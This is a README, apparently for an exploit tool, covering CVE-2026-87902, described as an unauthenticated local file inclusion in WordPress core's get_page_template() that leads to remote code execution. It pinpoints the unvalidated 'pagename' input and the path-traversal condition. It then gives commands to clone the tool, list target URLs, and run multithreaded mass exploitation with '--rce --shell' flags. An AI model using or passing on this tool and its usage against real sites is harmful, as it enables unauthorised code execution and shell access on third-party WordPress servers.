## 🔍 Overview
**CVE-2026-87902** is a critical **unauthenticated Local File Inclusion (LFI)** vulnerability in WordPress core that leads to **Remote Code Execution (RCE)** via the PEAR gadget chain.
The vulnerability resides in `wp-includes/template.php:get_page_template()`, which uses the public `pagename` query variable (read from `$_POST`) to construct a template name **without passing it through `validate_file()`**. Since `locate_template()` only performs `file_exists()`, a real `page-*` directory inside the active theme gives full path traversal.

### 📦 Installation
```bash
# Clonar repositorio
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# Instalar dependencias (solo stdlib — ¡no se necesita pip!)
python --version # Requiere Python 3.8+
# 1. Crea tu archivo de objetivos
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. Comprobación no destructiva (segura)
python main.py -l targets.txt --check --threads 20
# 3. Explotación completa + Gestor de archivos
python main.py -l targets.txt --rce --shell --threads 10
